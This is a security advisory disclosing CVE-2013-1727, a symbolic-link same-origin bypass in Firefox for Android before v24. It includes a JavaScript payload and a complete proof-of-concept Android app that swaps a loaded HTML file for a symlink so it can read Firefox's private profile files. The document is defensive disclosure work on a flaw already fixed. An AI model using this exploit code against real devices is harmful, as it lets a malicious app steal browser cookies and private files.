Firefox For Android Same-Origin Bypass

`CVE Number: CVE-2013-1727  
Vender Identifier: MFSA 2013-84  
Title: Firefox for Android - Same-origin bypass through  
symbolic links  
Affected Software: Prior to v24 (confirmed on v14)  
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.  
Issue Status: v24 was released which fixes this vulnerability  
  
Overview:  
Firefox for Android's Same-Origin Policy for local files (file: URI) can  
be bypassed by using symbolic links. It results in theft of Firefox's  
private files by malicious Android apps.  
  
Details:  
As described in MDN Document (*), Firefox allows a local file to read  
another file, only if the parent directory of the originating file is an  
ancestor directory of the target file.  
  
* https://developer.mozilla.org/en-US/docs/Same-origin_policy_for_file:_URIs  
  
However, it is possible to circumvent the restriction by a trick using  
symbolic link.  
  
This issue enables malicious Android apps to steal Firefox's private  
files such as Cookie file.  
  
As an example, steps to steal Firefox's profiles.ini are described below:  
  
1. An attacker's app creates a malicious HTML file, and makes Firefox load  
its URL with file scheme. The malicious HTML contains JavaScript code  
which, a few seconds later, tries to read the same URL with itself via  
XMLHttpRequest.  
  
<u>Wait a few seconds.</u>  
<script>  
function doit() {  
var xhr = new XMLHttpRequest;  
xhr.onload = function() {  
alert(xhr.responseText);  
};  
xhr.open('GET', document.URL);  
xhr.send(null);  
}  
setTimeout(doit, 8000);  
</script>";  
  
2. Before XHR fires, the attacker's app replaces the malicious HTML with  
a symbolic link pointing to Firefox's profiles.ini file.  
  
3. When XHR fires, Firefox follows the symlink and provides the content  
of the profiles.ini file to the malicious HTML.  
  
Through the steps above, the attacker's app can gain the path of the  
Firefox's private files such as Cookie file. The attacker's app can also  
get the contents of those private files in a similar manner.  
  
Note:  
It should be noted that this issue does not matter in Firefox for normal  
PC platform (such as Windows OS), in which all apps are regarded as  
reasonably trustworthy. However it does matter in Android platform with  
sandbox security model intended to segretate apps. In such platforms,  
app developers cannot regard other apps as trustworty.  
  
By this difference in platform security model, Android apps that are  
ported from PC often suffer from unexpected vulnerabilities. Obviously  
such vulnerabilities are not specific to Firefox. In reality, I  
discovered such vulnerabilities in Chrome for Android last year.  
  
Chrome for Android vulnerabilities:  
1. http://seclists.org/bugtraq/2013/Jan/22  
2. http://seclists.org/bugtraq/2013/Jan/23  
3. http://seclists.org/bugtraq/2013/Jan/24  
4. http://seclists.org/bugtraq/2013/Jan/25  
5. http://seclists.org/bugtraq/2013/Jan/26  
  
(#4 is a quite similar issue as the issue described in this advisory)  
  
Proof of Concept:  
/////////////////////////////////////////////////////////////////  
// malicious android app that steals Firefox's profiles.ini file  
/////////////////////////////////////////////////////////////////  
package jp.mbsd.terada.attackfirefox1;  
  
import android.net.Uri;  
import android.os.Bundle;  
import android.app.Activity;  
import android.content.Intent;  
  
public class MainActivity extends Activity {  
public final static String MY_PKG =  
"jp.mbsd.terada.attackfirefox1";  
  
public final static String MY_TMP_DIR =  
"/data/data/" + MY_PKG + "/tmp/";  
  
public final static String HTML_PATH =  
MY_TMP_DIR + "A" + Math.random() + ".html";  
  
public final static String TARGET_PKG =  
"org.mozilla.firefox";  
  
public final static String TARGET_FILE_PATH =  
"/data/data/" + TARGET_PKG + "/files/mozilla/profiles.ini";  
  
public final static String HTML =  
"<u>Wait a few seconds.</u>" +  
"<script>" +  
"function doit() {" +  
" var xhr = new XMLHttpRequest;" +  
" xhr.onload = function() {" +  
" alert(xhr.responseText);" +  
" };" +  
" xhr.open('GET', document.URL);" +  
" xhr.send(null);" +  
"}" +  
"setTimeout(doit, 8000);" +  
"</script>";  
  
@Override  
public void onCreate(Bundle savedInstanceState) {  
super.onCreate(savedInstanceState);  
setContentView(R.layout.activity_main);  
doit();  
}  
  
public void doit() {  
try {  
// create a malicious HTML  
cmdexec("mkdir " + MY_TMP_DIR);  
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);  
cmdexec("chmod -R 777 " + MY_TMP_DIR);  
  
Thread.sleep(1000);  
  
// force Firefox to load the malicious HTML  
invokeFirefox("file://" + HTML_PATH);  
  
Thread.sleep(4000);  
  
// replace the HTML with a symbolic link to profiles.ini  
cmdexec("rm " + HTML_PATH);  
cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);  
}  
catch (Exception e) {}  
}  
  
public void invokeFirefox(String url) {  
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));  
intent.setClassName(TARGET_PKG, TARGET_PKG + ".App");  
startActivity(intent);  
}  
  
public void cmdexec(String cmd) {  
try {  
String[] tmp = new String[] {"/system/bin/sh", "-c", cmd};  
Runtime.getRuntime().exec(tmp);  
}  
catch (Exception e) {}  
}  
}  
  
Timeline:  
2012/08/14 Reported to Firefox  
2013/09/17 Vender announced v24  
2013/09/30 Disclosure of this advisory  
  
Recommendation:  
Upgrade to the latest version.  
  
Reference:  
http://www.mozilla.org/security/announce/2013/mfsa2013-84.html  
  
--   
Takeshi Terada  
Mitsui Bussan Secure Directions, Inc.  
http://www.mbsd.jp/  
`